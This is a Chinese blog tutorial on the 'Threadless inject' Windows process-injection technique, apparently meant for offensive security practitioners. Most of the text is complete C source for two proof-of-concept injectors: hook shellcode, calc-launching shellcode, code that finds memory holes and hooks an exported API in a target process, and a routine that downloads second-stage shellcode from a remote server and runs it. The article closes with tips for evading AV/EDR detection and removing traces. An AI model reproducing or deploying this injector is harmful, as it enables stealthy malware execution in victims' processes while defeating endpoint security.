新型远程注入手法-Threadless inject
基本原理及执行流程一览
无线程注入是在B-Sides Cymru 2023大会上发表的议题,是一种新型的远程注入手法,原理就是对hook的函数jump到dll的内存空隙的第一段shellcode(二次重定向功能)当中,然后再jump到第二段shellcode(真正的shellcode)执行。具体执行过程如图
第一步,注入的进程调用的被hook的API函数并重定向到我们的第一段shellcode,第二步就是执行第一段shellcode负责跳转到第二段shellcode,第三步跳转到第二段shellcode并执行,第四步返回到第一段shellcode执行跳转回到原本API函数的位置重新执行本身的功能。
threadless inject的主要绕过思路就是跟其他执行内存的方式不同,通过这种方式绕过了AV/EDR的一些检测,下面我会通过对相关代码进行讲解,来让读者们了解具体的实现细节。因为这些代码都只是POC,直接使用效果并不会太好,在文章末尾,我会说明一下这些代码的优化思路,以保证实现更好的绕过。
首先,我们需要知道什么是内存间隙,在内存中指令不是紧密无间没有孔隙的,我们可以试图寻找一些可以放下我们的shellcode的空隙来把shellcode放入进去,最后通过hook的API来重定向到这段shellcode并执行。
第一份基础代码解析
unsigned char shellcode_loader[] = { 0x58, // pop rax 0x48, 0x83, 0xE8, 0x05, // sub rax, 0x05 0x50, // push rax 0x51, // push rcx 0x52, // push rdx 0x41, 0x50, // push r8 0x41, 0x51, // push r9 0x41, 0x52, // push r10 0x41, 0x53, // push r11 0x48, 0xB9, // mov rcx, <address> 第二段shellcode的地址 0x88, 0x77, 0x66, 0x55, 0x44, 0x33, 0x22, 0x11, 0x48, 0x89, 0x08, // mov [rax], rcx 0x48, 0x83, 0xEC, 0x40, // sub rsp, 0x40 0xE8, 0x11, 0x00, 0x00, 0x00, // call <relative offset> 执行第二段shellcode 0x48, 0x83, 0xC4, 0x40, // add rsp, 0x40 0x41, 0x5B, // pop r11 0x41, 0x5A, // pop r10 0x41, 0x59, // pop r9 0x41, 0x58, // pop r8 0x5A, // pop rdx 0x59, // pop rcx 0x58, // pop rax 0xFF, 0xE0, // jmp rax 跳转回被hook的API函数地址 0x90 // nop};
弹出计算器unsigned char shellcode[] = {0x53, 0x56, 0x57, 0x55, 0x54, 0x58, 0x66, 0x83, 0xE4, 0xF0, 0x50, 0x6A,0x60, 0x5A, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x29, 0xD4,0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48, 0x8B, 0x76, 0x10,0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B, 0x7E, 0x30, 0x03, 0x57, 0x3C,0x8B, 0x5C, 0x17, 0x28, 0x8B, 0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B,0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81,0x3C, 0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F, 0x1C,0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7, 0x99, 0xFF, 0xD7,0x48, 0x83, 0xC4, 0x68, 0x5C, 0x5D, 0x5F, 0x5E, 0x5B, 0xC3};
最终shellcode拼接,将两段shellcode合并到一个result里面void ConcatArrays(unsigned char* result, const unsigned char* arr1, size_t arr1Size, const unsigned char* arr2, size_t arr2Size) { // Copy elements from the first array for (size_t i = 0; i < arr1Size; ++i) { result[i] = arr1[i]; }
// Copy elements from the second array for (size_t i = 0; i < arr2Size; ++i) { result[arr1Size + i] = arr2[i]; }}
寻找内存间隙int64_t FindMemoryHole(IN HANDLE hProcess, IN void** exportedFunctionAddress, IN int size){ UINT_PTR remoteAddress; BOOL foundMemory = FALSE; uint64_t exportAddress = exportedFunctionAddress;在一定偏移量范围之内寻找内存间隙 for (remoteAddress = (exportAddress & 0xFFFFFFFFFFF70000) - 0x70000000; remoteAddress < exportAddress + 0x70000000; remoteAddress += 0x10000) {给内存间隙直接申请一段RWX的内存 LPVOID lpAddr = VirtualAllocEx(hProcess, remoteAddress, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (lpAddr == NULL) { continue; } foundMemory = TRUE; break; }
if (foundMemory == TRUE) { printf(" [*] Found Memory Hole: %p\n", remoteAddress); return remoteAddress; }
return 0;
}
修改跳转地址,即第18个字节0xB9,修改为对应的地址void GenerateHook(int64_t originalInstruction){ *(uint64_t*)(shellcode_loader + 0x12) = originalInstruction; printf(" [+] Hook successfully placed");}
int main(int argc, char** argv){首先获取命令行信息,声明变量 if (argc != 4) { printf("\n"); printf("[ERROR]: DLL, Exported Function or PID is missing!\n"); printf(" [Demo Usage]: ThreadlessInject-C.exe kernelbase.dll CreateEventW 1000\n\n"); return 0; } 要hook的dll char* moduleName = argv[1]; 要hook的函数 char* exportedFunction = argv[2]; PID DWORD pid = atoi(argv[3]); BOOL rez = FALSE; int writtenBytes = 0;
//Loading DLL into the process printf("\n[*] Loading: %s\n", moduleName); 获取对应dll的句柄 HMODULE hModule = GetModuleHandle(argv[1]); 如果获取不到,就先在本进程加载这个dll if (hModule == NULL){ hModule = LoadLibraryA(argv[1]); } 无法加载?异常问题无法加载,退出 if (hModule == NULL) { printf("[ERROR] Could not load %s\n", moduleName); return -99; } printf(" [+] Successfully loaded %s\n\n", moduleName);
获取想要注入的API函数的地址 printf("[*] Getting the address of %s\n", exportedFunction); void* exportedFunctionAddress = GetProcAddress(hModule, exportedFunction); if (exportedFunctionAddress == NULL) { printf(" [ERROR] Could not find %s in %s\n", exportedFunction, moduleName); return -99; } printf(" [+] %s Address: 0x%p\n\n", exportedFunction, exportedFunctionAddress);
获取目标进程的句柄 printf("[*] Trying to open process with pid: %d\n", pid); HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (hProcess == NULL) { printf(" [ERROR] Could not open process with pid %d\n", pid); return -99; } printf(" [+] Successfully opened process with pid %d\n\n", pid);
找内存间隙 printf("[*] Trying to find memory holes\n"); int64_t memoryHoleAddress = FindMemoryHole(hProcess, exportedFunctionAddress, sizeof(shellcode_loader) + sizeof(shellcode)); if (memoryHoleAddress == 0) { printf(" [Error] Could not find memory hole\n"); return -99; } 获取要被hook的函数的地址 // Reading content from memory address of exported function printf("[*] Reading bytes from the memory address of %s\n", exportedFunction); int64_t originalBytes = *(int64_t*)exportedFunctionAddress; printf(" [+] Address %p has value = %lld\n\n", exportedFunctionAddress, originalBytes);
修改要跳转的地址,将shellcode修改成完全体 // Implementing the hook printf("[*] Generating hook"); GenerateHook(originalBytes);将进程的某个导出函数的执行权限改成RWX //Chaning the memory protection settings of the exported function into the calling process to RWX printf("[*] Changing the memory protection of %s to RWX\n", exportedFunction); DWORD oldProtect = 0; if (!VirtualProtectEx(hProcess, exportedFunctionAddress, 8, PAGE_EXECUTE_READWRITE, &oldProtect)) { printf(" [Error] Could not change the memory protection settings\n"); return -99; } printf(" [+] Successfully changed the memory protection settings of %s to RWX\n", exportedFunction);
修改目标函数的指令,加入跳转指令(目标是跳转到我们的第一段shellcode) printf("[*] Trying to inject the call assembly for the exported function\n"); int callPointerAddress = (memoryHoleAddress - ((UINT_PTR)exportedFunctionAddress + 5)); unsigned char callFunctionShellcode[] = { 0xe8, 0, 0, 0, 0 }; *(int*)(callFunctionShellcode + 1) = callPointerAddress; 修改内存属性,改成RWX VirtualProtectEx(hProcess, callFunctionShellcode, sizeof(callFunctionShellcode), PAGE_EXECUTE_READWRITE, NULL); 将callFunctionShellcode写入目标地址内存中 if (!WriteProcessMemory(hProcess, exportedFunctionAddress, callFunctionShellcode, sizeof(callFunctionShellcode), &writtenBytes)) { printf(" [Error] Could redirect %s\n", exportedFunction); return -99; }
printf(" [+] Successfully modified %s function to call the custom shellcode\n", exportedFunction);
// Compiling final payload and injecting the hook 将两段shellcode合并到一起 unsigned char payload[sizeof(shellcode_loader) + sizeof(shellcode)]; ConcatArrays(&payload, &shellcode_loader, sizeof(shellcode_loader), shellcode, sizeof(shellcode)); 修改内存属性为RW if (!VirtualProtectEx(hProcess, memoryHoleAddress, sizeof(payload), PAGE_READWRITE, &oldProtect)){ printf("[Error] Modifying the memory protection of the memory hole: %p before write\n", memoryHoleAddress); return -99; } 将合并的shellcode写入到目标进程 if (!WriteProcessMemory(hProcess, memoryHoleAddress, payload, sizeof(payload), &writtenBytes)) { printf("[Error] Writing to the memory hole address: %p\n", memoryHoleAddress); return -99; } 将合并的shellcode内存属性更改为可读可执行 if (!VirtualProtectEx(hProcess, memoryHoleAddress, sizeof(payload), PAGE_EXECUTE_READ, &oldProtect)) { printf("[Error] Modifying the memory protection of the memory hole: %p after write\n", memoryHoleAddress); return -99; }
printf("\n[+] Injection successful, wait for your trigger function!\n"); Sleep(2000);}
从下图可以看到,在没有注入时,kernelbase.dll里面没有RWX的内存,在注入之后,kernelbase.dll里面申请了一段RWX的内存
第二份代码解析
第二份与之前执行思路基本相同,区别就是把第二段shellcode放到了远程服务器,内存空隙是放在另一个dll的文本段上(这可能是比较不错的寻找内存间隙的思路,但也要看AV/EDR的容忍度,毕竟要远程加载一个dll,还要对他的内存做出一些修改),具体内容如下
#include "commun.h"
int wmain(int argc, wchar_t** argv) {
if (argc != 8) { printf("\n\tUsage:\n\t\tD1rkInject.exe <resource> \n\n"); return -1; } 声明命令行变量 wchar_t* whost = argv[1]; host地址 DWORD port = _wtoi(argv[2]); 端口 wchar_t* wresource = argv[3]; 路径 DWORD pid = _wtoi(argv[4]); pid wchar_t* wInjectedLoadedModuleName= argv[5]; 要注入的dll名称chakra.dll wchar_t* wHookedModuleName = argv[6]; 被注入的dll名称 ntdll.dll wchar_t* wHookedApiName = argv[7]; api名
getdata函数获取shellcode DATA shellcode = GetData(whost, port, wresource); if (shellcode.data == NULL) { printf("[-] Failed to get remote shellcode (%u)\n", GetLastError()); return -1; }
printf("\n[+] shellcode @ %p (%d bytes)\n", shellcode.data, shellcode.len); 获取目标进程的句柄 HANDLE hproc = OpenProcess(PROCESS_ALL_ACCESS, NULL, pid);
GetRXhole函数获取RX的内存空隙(从注入的charka.dll中) LPVOID RX_hole_addr = GetRXhole(hproc, wInjectedLoadedModuleName, shellcode.len); if (RX_hole_addr == NULL) { printf("[-] Failed to find a hole (%u)\n", GetLastError()); return -1; }
printf("[+] RX_hole_addr in %ws is @ %p\n", wInjectedLoadedModuleName, RX_hole_addr);
InjectThatMTF函数,将shellcode注入到charka.dll中 if(!InjectThatMTF(hproc, RX_hole_addr, shellcode, wHookedModuleName, wHookedApiName)) { printf("[+] Failed to inject %ws or Hook %ws\n", wInjectedLoadedModuleName, wHookedApiName); return -1; } printf("[+] %ws of the Target process with PID : %d is injected at address with the HookCode + Shellcode : %p\n", wInjectedLoadedModuleName, pid, RX_hole_addr);
char input1[100]; do { printf("[+] Enter \"APT stands for Are You Pretending To-hack?\" if you got a callback to Change hooked API protection from RWX => RX\n"); fgets(input1, sizeof(input1), stdin); input1[strcspn(input1, "\n")] = 0; } while (strcmp(input1, "APT stands for Are You Pretending To-hack?") != 0);
DWORD oldProtect = 0; size_t len = wcslen(wHookedApiName) + 1; char* APIName = (char*)malloc(len); size_t convertedChars = 0; wcstombs_s(&convertedChars, APIName, len, wHookedApiName, _TRUNCATE); 获取ntdll的目标API函数地址 FARPROC apiAddr = GetProcAddress(GetModuleHandle(wHookedModuleName), APIName); 更改内存权限为RX if (!VirtualProtectEx(hproc, apiAddr, 8, PAGE_EXECUTE_READ, &oldProtect)) { printf("Failed to change memory protection.\n"); return FALSE; }
char input2[100];
do { printf("[+] Enter \"APT stands for Advanced Persistence Tomato\" to Unload the Infected %ws to remove any IOC\n", wInjectedLoadedModuleName); fgets(input2, sizeof(input2), stdin); input2[strcspn(input2, "\n")] = 0; } while (strcmp(input2, "APT stands for Advanced Persistence Tomato") != 0); 注入内存后从目标进程中取消加载的charka.dll if (!UnloadModule(hproc, wInjectedLoadedModuleName)) { printf("[+] Failed to Unload %ws\n in the target process\n", wInjectedLoadedModuleName); return -1; }
printf("[+] %ws Unloaded successfully\n", wInjectedLoadedModuleName);
return 0;
}
#include "commun.h"
BOOL InjectThatMTF(HANDLE hProc, LPVOID RX_hole_addr,DATA shellcode, wchar_t* wModuleName, wchar_t* wAPIName) {
用来做hook的shellcode // will load the shellcode and revert the hooked API char HookCode[] = { 0x58, // pop rax 0x48, 0x83, 0xE8, 0x05, // sub rax,0x5 0x50, // push rax 0x51, // push rcx 0x52, // push rdx 0x41, 0x50, // push r8 0x41, 0x51, // push r9 0x41, 0x52, // push r10 0x41, 0x53, // push r11 0x48, 0xB9, 0x88, 0x77, 0x66, // movabs rcx,0x1122334455667788 0x55,0x44, 0x33, 0x22, 0x11, 0x48, 0x89, 0x08, // mov QWORD PTR [rax],rcx 0x48, 0x83, 0xEC, 0x40, // sub rsp,0x40 0xE8, 0x11, 0x00, 0x00, 0x00, // call shellcode 0x48, 0x83, 0xC4, 0x40, // add rsp,0x40 0x41, 0x5B, // pop r11 0x41, 0x5A, // pop r10 0x41, 0x59, // pop r9 0x41, 0x58, // pop r8 0x5A, // pop rdx 0x59, // pop rcx 0x58, // pop rax 0xFF, 0xE0, // jmp rax 0x90 // nop };
/*
change 0x1122334455667788 in HookCode with the Original 8 bytes of APIName opcodes
*/
size_t len = wcslen(wAPIName) + 1; char* APIName = (char*)malloc(len); size_t convertedChars = 0; wcstombs_s(&convertedChars, APIName, len, wAPIName, _TRUNCATE); 获取目标dll的api函数地址 // get address of the function FARPROC apiAddr = GetProcAddress(GetModuleHandle(wModuleName), APIName); if (apiAddr == NULL) { free(APIName); printf("Failed to get the address of the function.\n"); return FALSE; } 读取目标API的前八个字节的内容 // read 8 bytes from the start of the function unsigned char originalOpcodes[8]; if (!ReadProcessMemory(hProc, apiAddr, &originalOpcodes, sizeof(originalOpcodes), NULL)) { free(APIName); printf("Failed to read the original opcodes.\n"); return FALSE;
} 替换原始shellcode的跳转地址 // replace the placeholder in the hook code with the original opcodes memcpy(HookCode + 18, originalOpcodes, sizeof(originalOpcodes));
/* update "call shellcode" in HookCode */ 计算到目标shellcode地址的偏移量 // calculate the relative offset from the call instruction to the target address DWORD offset = (DWORD)((char*)RX_hole_addr - (char*)(HookCode + sizeof(HookCode))); 替换地址 // replace the placeholder offset in the hook code with the calculated offset memcpy(HookCode + 39, &offset, sizeof(offset));
/* Hook the loaded modules with the HookCode + Shellcode */ 将这段内存改成RWX DWORD oldProtect; // Change the protection of the memory region to RWX if (!VirtualProtectEx(hProc, RX_hole_addr, sizeof(HookCode) + shellcode.len, PAGE_EXECUTE_READWRITE, &oldProtect)){ printf("VirtualProtectEx failed (%u)\n", GetLastError()); return FALSE; } 把第一段shellcode写入到内存间隙中 // Write the HookCode into the memory region SIZE_T bytesWritten; if (!WriteProcessMemory(hProc, RX_hole_addr, HookCode, sizeof(HookCode), &bytesWritten)){ printf("WriteProcessMemory failed (%u)\n", GetLastError()); return FALSE; } 将第二段shellcode写入到内存间隙中 // Write the shellcode into the memory region right after the HookCode if (!WriteProcessMemory(hProc, (LPBYTE)RX_hole_addr + sizeof(HookCode), shellcode.data, shellcode.len, &bytesWritten)){ printf("WriteProcessMemory failed (%u)\n", GetLastError()); return FALSE; } 修改为原来的内存属性 // Restore the original protection of the memory region if (!VirtualProtectEx(hProc, RX_hole_addr, sizeof(HookCode) + shellcode.len, oldProtect, &oldProtect)){ printf("VirtualProtectEx failed (%u)\n", GetLastError()); return FALSE; }
/* Hook the API with call RX_hole_addr */
在目标函数处设立一个跳转 // Create a call instruction which jumps to RX_hole_addr. unsigned char callInstruction[5] = { 0xE8, 0x00, 0x00, 0x00, 0x00 }; offset = (DWORD)((char*)RX_hole_addr - ((char*)apiAddr + sizeof(callInstruction))); memcpy(callInstruction + 1, &offset, sizeof(offset));
// Replace the first instruction of the API function with our call instruction. oldProtect = 0; 修改目标API地址的这段内存属性为RWX if (!VirtualProtectEx(hProc, apiAddr, 8, PAGE_EXECUTE_READWRITE, &oldProtect)) { printf("Failed to change memory protection.\n"); return FALSE; } 把跳转指令写进去 bytesWritten = 0; if (!WriteProcessMemory(hProc, apiAddr, callInstruction, sizeof(callInstruction), &bytesWritten)) { printf("Failed to write the new instruction.\n"); return FALSE; }
if (bytesWritten != sizeof(callInstruction)) { printf("Failed to write the full instruction.\n"); return FALSE; }
return TRUE;
}
总体上的内容就是获取web服务器上的shellcode,具体代码不做解释了#include "commun.h"
DATA GetData(wchar_t* whost, DWORD port, wchar_t* wresource) {
DATA data; std::vector<unsigned char> buffer; DWORD dwSize = 0; DWORD dwDownloaded = 0; LPSTR pszOutBuffer = NULL; BOOL bResults = FALSE; HINTERNET hSession = NULL, hConnect = NULL, hRequest = NULL; // Use WinHttpOpen to obtain a session handle. hSession = WinHttpOpen(L"WinHTTP Example/1.0", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
// Specify an HTTP server. if (hSession) hConnect = WinHttpConnect(hSession, whost, port, 0); else printf("Failed in WinHttpConnect (%u)\n", GetLastError());
// Create an HTTP request handle. if (hConnect) hRequest = WinHttpOpenRequest(hConnect, L"GET", wresource, NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, NULL); else printf("Failed in WinHttpOpenRequest (%u)\n", GetLastError());
// Send a request. if (hRequest) bResults = WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0); else printf("Failed in WinHttpSendRequest (%u)\n", GetLastError());
// End the request. if (bResults) bResults = WinHttpReceiveResponse(hRequest, NULL); else printf("Failed in WinHttpReceiveResponse (%u)\n", GetLastError());
// Keep checking for data until there is nothing left. if (bResults) do { // Check for available data. dwSize = 0; if (!WinHttpQueryDataAvailable(hRequest, &dwSize)) printf("Error %u in WinHttpQueryDataAvailable (%u)\n", GetLastError());
// Allocate space for the buffer. pszOutBuffer = new char[dwSize + 1]; if (!pszOutBuffer) { printf("Out of memory\n"); dwSize = 0; } else { // Read the Data. ZeroMemory(pszOutBuffer, dwSize + 1);
if (!WinHttpReadData(hRequest, (LPVOID)pszOutBuffer, dwSize, &dwDownloaded)) printf("Error %u in WinHttpReadData.\n", GetLastError()); else {
buffer.insert(buffer.end(), pszOutBuffer, pszOutBuffer + dwDownloaded);
} delete[] pszOutBuffer; }
} while (dwSize > 0);
if (buffer.empty() == TRUE) { printf("Failed in retrieving the Shellcode"); }
// Report any errors. if (!bResults) printf("Error %d has occurred.\n", GetLastError());
// Close any open handles. if (hRequest) WinHttpCloseHandle(hRequest); if (hConnect) WinHttpCloseHandle(hConnect); if (hSession) WinHttpCloseHandle(hSession);
size_t size = buffer.size();
char* bufdata = (char*)malloc(size); for (int i = 0; i < buffer.size(); i++) { bufdata[i] = buffer[i]; } data.data = bufdata; data.len = size; return data;
}
#include "commun.h"
DWORD prevOffset = 0;
#define MIN_GAP 20000 // minimum gap between two random offsets生成一个随机的偏移量方便后面寻找内存间隙DWORD get_random_offset(DWORD maxOffset) {
DWORD newOffset = rand() % maxOffset;
while ((newOffset > prevOffset ? newOffset - prevOffset : prevOffset - newOffset) < MIN_GAP) { newOffset = rand() % maxOffset; }
prevOffset = newOffset; return newOffset;}
确保dll已经注入到目标进程的内存里面了// Check if a module is loaded in a process's address spaceBOOL IsModuleLoaded(HANDLE hProcess, wchar_t* wInjectedLoadedModule) { HMODULE hMods[1024]; DWORD cbNeeded; unsigned int i; wchar_t szModName[MAX_PATH];
if (EnumProcessModules(hProcess, hMods, sizeof(hMods), &cbNeeded)) { for (i = 0; i < (cbNeeded / sizeof(HMODULE)); i++) { if (GetModuleBaseNameW(hProcess, hMods[i], szModName, sizeof(szModName) / sizeof(TCHAR))) { if (wcscmp(szModName, wInjectedLoadedModule) == 0) { return TRUE; } } } }
return FALSE;}
从这个进程中获取chakra.dll的handle// Get a module handle from the processHMODULE GetRemoteModuleHandle(HANDLE hProcess, wchar_t* wInjectedLoadedModule) { HMODULE hMods[1024]; DWORD cbNeeded; unsigned int i; wchar_t szModName[MAX_PATH];
if (EnumProcessModules(hProcess, hMods, sizeof(hMods), &cbNeeded)) { for (i = 0; i < (cbNeeded / sizeof(HMODULE)); i++) { if (GetModuleBaseNameW(hProcess, hMods[i], szModName, sizeof(szModName) / sizeof(TCHAR))) { if (wcscmp(szModName, wInjectedLoadedModule) == 0) { return hMods[i]; } } } }
return NULL;}
找到一个RX的内存空隙(从chakra.dll中查找,即使更改文本节内存里面的内容,也不会导致崩溃)LPVOID GetRXhole(HANDLE hProcess, wchar_t* wInjectedLoadedModuleName, size_t shellcodeLen) {
if (!IsModuleLoaded(hProcess, wInjectedLoadedModuleName)) { LPVOID RXspot = NULL; 内存大小 SIZE_T mdlSize = (wcslen(wInjectedLoadedModuleName) + 1) * sizeof(wchar_t);
PTHREAD_START_ROUTINE pLoadLibrary = NULL; 获取kernel32.dll的句柄 pLoadLibrary = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandleA("Kernel32.dll"), "LoadLibraryW"); if (!pLoadLibrary) { printf("Failed to get LoadLibrary Address (%u)\n", GetLastError()); return NULL; } 申请一段可读可写的内存 PVOID mdlStrAlloc = VirtualAllocEx(hProcess, NULL, 0x1000, MEM_COMMIT, PAGE_READWRITE); if (!mdlStrAlloc) { printf("Failed to Allocate mem in the remote process (%u)\n", GetLastError()); return NULL; }
printf("[+] mdlStrAlloc : %p\n", mdlStrAlloc); 将当前进程的内存复制到目标进程的内存中 BOOL writeStatus = WriteProcessMemory(hProcess, mdlStrAlloc, (LPVOID)wInjectedLoadedModuleName, mdlSize, NULL); if (!writeStatus) { printf("Failed to Write to the allocated mem (%u)\n", GetLastError()); return NULL; } 创建远程线程 HANDLE hthread = CreateRemoteThread(hProcess, NULL, 0, pLoadLibrary, mdlStrAlloc, 0, NULL); if (!hthread) { printf("Failed to create remote thread (%u)\n", GetLastError()); return NULL; }
// Wait for the remote thread to finish WaitForSingleObject(hthread, INFINITE);
//检测线程是否存在 // Check the thread exit code DWORD exitCode; if (!GetExitCodeThread(hthread, &exitCode)) { printf("Failed to get exit code (%u)\n", GetLastError()); CloseHandle(hthread); return FALSE; }
CloseHandle(hthread); 获取dll基址的指针 PVOID mdlBaseAddr = LoadLibrary(wInjectedLoadedModuleName); if (!mdlBaseAddr) { printf("[!] Failed to resolve the remote module addr\n"); return NULL; } IMAGE_DOS_HEADER* DOS_HEADER = (IMAGE_DOS_HEADER*)mdlBaseAddr; IMAGE_NT_HEADERS* NT_HEADER = (IMAGE_NT_HEADERS*)((DWORD64)mdlBaseAddr + DOS_HEADER->e_lfanew); IMAGE_SECTION_HEADER* SECTION_HEADER = IMAGE_FIRST_SECTION(NT_HEADER);
LPVOID txtSectionBase = (LPVOID)((DWORD64)mdlBaseAddr + (DWORD64)SECTION_HEADER->PointerToRawData); DWORD txtSectionSize = SECTION_HEADER->SizeOfRawData;
如果找到的内存间隙小于第二段shellcode长度 if (txtSectionSize < shellcodeLen) { printf("[-] Choose Another Module with a large \".text\" section\n"); return NULL; }
// Initialize random seed srand((unsigned)time(NULL));确认这段RX内存的地址 DWORD randomOffset = get_random_offset(txtSectionSize - shellcodeLen); printf("[+] randomOffset %d\n", randomOffset);
RXspot = (LPVOID)((DWORD64)txtSectionBase + randomOffset);
return RXspot; } else { printf("[!] %ws is already loaded in the target process\n", wInjectedLoadedModuleName); return NULL; }
}
取消加载到目标进程中的dll// Unload a module from a processBOOL UnloadModule(HANDLE hProcess, wchar_t* wInjectedLoadedModule) {
HMODULE hMod = GetRemoteModuleHandle(hProcess, wInjectedLoadedModule);
if (hMod == NULL) { printf("Module not found.\n"); return FALSE; }
// Get address of FreeLibrary in kernel32.dll LPVOID FreeLibraryAddr = (LPVOID)GetProcAddress(GetModuleHandleA("kernel32.dll"), "FreeLibrary");
if (FreeLibraryAddr == NULL) { printf("Failed to get address of FreeLibrary (%u)\n", GetLastError()); return FALSE; } 释放这段远程线程的内存 // Call FreeLibrary in the context of the remote process HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)FreeLibraryAddr, hMod, 0, NULL);
if (hThread == NULL) { printf("Failed to create remote thread (%u)\n", GetLastError()); return FALSE; }
// Wait for the remote thread to finish WaitForSingleObject(hThread, INFINITE);
// Check the thread exit code DWORD exitCode; if (!GetExitCodeThread(hThread, &exitCode)) { printf("Failed to get exit code (%u)\n", GetLastError()); CloseHandle(hThread); return FALSE; }
CloseHandle(hThread);
if (!IsModuleLoaded(hProcess, wInjectedLoadedModule)) { return TRUE; }
return FALSE;}
从下图可以看到成功注入了chakra.dll
改进思路
第一段shellcode功能比较简单,很容易作为IOC进行检测,对这段shellcode进行一定的优化,加入一些混淆指令
hookAPI的方式是最简单的修改指令,更换为更加隐蔽的hook方法,比如硬件断点等
申请RWX是非常敏感的行为,可以先RW再RX
用更加隐蔽的调用链条,使用一些冷门的API函数
可以做成BOF,思路大差不差
参考
https://github.com/lsecqt/ThreadlessInject-C/blob/main/ThreadlessInject-C/ThreadlessInject-C.c
Github:https://github.com/SaadAhla/D1rkInject/tree/main
直链地址下载:https://lp.lmboke.com/D1rkInject-main.zip
免责声明
本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本平台和发布者不为此承担任何责任。